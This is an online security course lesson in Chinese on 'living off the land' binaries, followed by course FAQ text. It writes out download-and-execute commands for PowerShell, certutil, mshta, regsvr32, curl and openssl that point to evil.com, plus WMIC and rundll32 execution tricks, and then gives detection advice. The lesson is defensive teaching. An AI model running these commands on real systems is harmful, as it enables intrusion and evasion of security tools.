借地生存二进制文件(LOLBins)
使用受信任的 Windows 二进制文件(certutil、mshta、regsvr32)来规避检测。
借地生存二进制文件(LOLBins) 是 CoddyKit 上的免费 Cyber Security Academy 课时。 这是第 2 节课,共 4 节。 你可以在下方免费阅读本课时的完整内容 — 然后在浏览器中使用内置代码编辑器和全天候 AI 导师进行实践。 这是 Cyber Security Academy 学习路径的一部分,你的进度在网页和 CoddyKit 应用中同步。 Cyber Security Academy 课程共包含 4 节课。
什么是 LOLBins?
就地取材二进制程序(LOLBins)是被攻击者重新利用来执行恶意操作的合法 OS 二进制程序和工具。由于这些是受信任且经过签名的 system 工具,它们通常可以绕过应用程序白名单,并降低 AV/EDR 的检测率。
LOLBins 为何有效
对攻击者而言的优势:
- 目标系统上始终存在——无需放置新文件
- 由 Microsoft 或 Apple 签名——绕过基于签名的检测
- 受到应用程序白名单解决方案的信任
- 生成看起来合法的进程树
PowerShell 作为 LOLBin
PowerShell 是遭到滥用最严重的 LOLBin。攻击者会使用:
# Download and execute from memory:
powershell -enc BASE64_ENCODED_COMMAND
powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"certutil
certutil.exe 是一种 Windows 证书工具,可以下载文件:
# Download file to disk:
certutil -urlcache -split -f http://evil.com/payload.exe C:\temp\payload.exe
# Base64 decode:
certutil -decode encoded.b64 decoded.exemshta 与 wscript
通过受信任的宿主执行脚本:
# mshta: execute HTA application from URL
mshta http://evil.com/payload.hta
# wscript: execute VBScript/JScript
wscript //E:VBScript evil.vbs
# cscript: console script host
cscript //nologo payload.jsregsvr32 Squiblydoo
regsvr32.exe 可以通过 /s /n /u /i 标志从远程 URL 加载并执行 DLL,从而绕过 AppLocker,并以受信任进程的身份运行未签名代码:
regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dllWMIC 与 WMI 执行
Windows Management Instrumentation 可以在本地和远程执行代码:
# Execute command via WMI:
wmic process call create "powershell.exe -enc PAYLOAD"
# Remote execution:
wmic /node:TARGET process call create "cmd.exe /c payload.exe"Rundll32
rundll32.exe 可以加载并执行 DLL 入口点:
# Execute a DLL export:
rundll32 evil.dll,EntryPoint
# Run JavaScript via rundll32:
rundll32 javascript:"\..\mshtml,RunHTMLApplication " payloadLinux LOLBins
Linux 中的对应工具:
# curl/wget for downloads:
curl http://evil.com/payload | bash
# Python for execution:
python3 -c "import os; os.system('whoami')"
# OpenSSL for file transfer:
openssl s_client -quiet -connect evil.com:443 | bash
# Find LOLBins: gtfobins.github.ioLOLBAS 与 GTFOBins
参考数据库:
- LOLBAS(lolbas-project.github.io)——Windows 二进制程序、脚本和库
- GTFOBins(gtfobins.github.io)——用于利用、文件读写和 SUID 提权的 Linux/macOS 二进制程序
检测 LOLBin 滥用
检测策略:
- PowerShell 脚本块日志记录(EventID 4104)——记录解码后的命令
- Sysmon EventID 1:记录带父进程链的进程创建
- 针对异常父子进程关系发出警报:Word → PowerShell、Excel → cmd
- 检测来自 certutil、mshta 和 PowerShell 的网络连接
- 使用 UEBA 基线标记异常的二进制程序使用情况
快速检查:LOLBins
哪种 Windows 二进制程序可以使用 -urlcache 标志下载远程文件?
课程回顾
LOLBins 是被重新用于恶意目的的合法 OS 工具:Windows 上的 PowerShell、certutil、mshta、regsvr32、rundll32 和 WMIC;Linux 上的 curl、python 和 OpenSSL。它们可以绕过基于签名的检测和应用程序白名单。检测需要进程创建日志记录(Sysmon)、PowerShell 脚本块日志记录以及行为基线。LOLBAS 和 GTFOBins 是必不可少的参考数据库。
常见问题解答
「借地生存二进制文件(LOLBins)」课时是免费的吗?
是的 — 「借地生存二进制文件(LOLBins)」的完整文本可在网页上免费阅读。要进行交互式练习(内置代码编辑器和全天候 AI 导师)并解锁 Cyber Security Academy 课程的其余内容,请升级到 CoddyKit PRO。 Cyber Security Academy 课程共包含 4 节课。
「借地生存二进制文件(LOLBins)」这节课中我会学到什么?
使用受信任的 Windows 二进制文件(certutil、mshta、regsvr32)来规避检测。 你通过在浏览器中直接运行的动手代码来练习 Cyber Security Academy,全天候 AI 导师会在你学习这节课的过程中回答你的问题。
学习 Cyber Security Academy 需要有经验吗?
无需任何先前经验。CoddyKit 上的 Cyber Security Academy 课程适合初学者到高级学习者,你可以从这里开始或从头开始,按照自己的节奏学习。 这是第 2 节课,共 4 节。
「借地生存二进制文件(LOLBins)」课时需要多长时间?
大多数 CoddyKit 课程大约需要 5–10 分钟。每节课都很精短且互动,所以你能稳步进步,并在网页和应用中从离开的地方继续。
我能在这节 Cyber Security Academy 课中编写并运行代码吗?
能。每节 Cyber Security Academy 课都包含内置代码编辑器,你可以在浏览器中直接编写并运行真实代码,并获得即时 AI 反馈 — 无需本地设置。
此课程中的所有课时
- C2 框架:Cobalt Strike 与 Sliver
- 借地生存二进制文件(LOLBins)
- 横向移动技术
- 红队报告撰写